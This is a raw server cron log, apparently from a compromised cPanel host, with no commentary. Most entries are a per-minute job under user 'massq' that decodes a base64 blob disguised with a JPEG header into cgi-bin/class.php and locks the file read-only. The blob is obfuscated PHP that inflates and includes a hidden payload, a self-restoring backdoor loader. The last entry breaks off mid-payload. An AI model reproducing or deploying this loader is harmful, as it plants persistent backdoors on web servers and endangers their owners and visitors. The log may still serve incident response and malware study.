Apr  7 03:25:01 server CROND[17487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:26:01 server CROND[17591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:27:01 server CROND[17645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 03:27:01 server CROND[17646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:27:01 server CROND[17647]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr  7 03:28:01 server CROND[17729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:29:01 server CROND[17797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:30:01 server CROND[17951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:30:01 server CROND[17950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:30:01 server CROND[17952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:30:01 server CROND[17953]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:31:01 server CROND[18060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:32:01 server CROND[18106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:33:01 server CROND[18154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:34:01 server CROND[18202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:35:01 server CROND[18363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:35:01 server CROND[18362]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 03:35:01 server CROND[18365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:35:01 server CROND[18367]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 03:35:01 server CROND[18368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:36:01 server CROND[18480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:37:01 server CROND[18538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:38:01 server CROND[18603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:39:01 server CROND[18646]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 03:39:01 server CROND[18647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF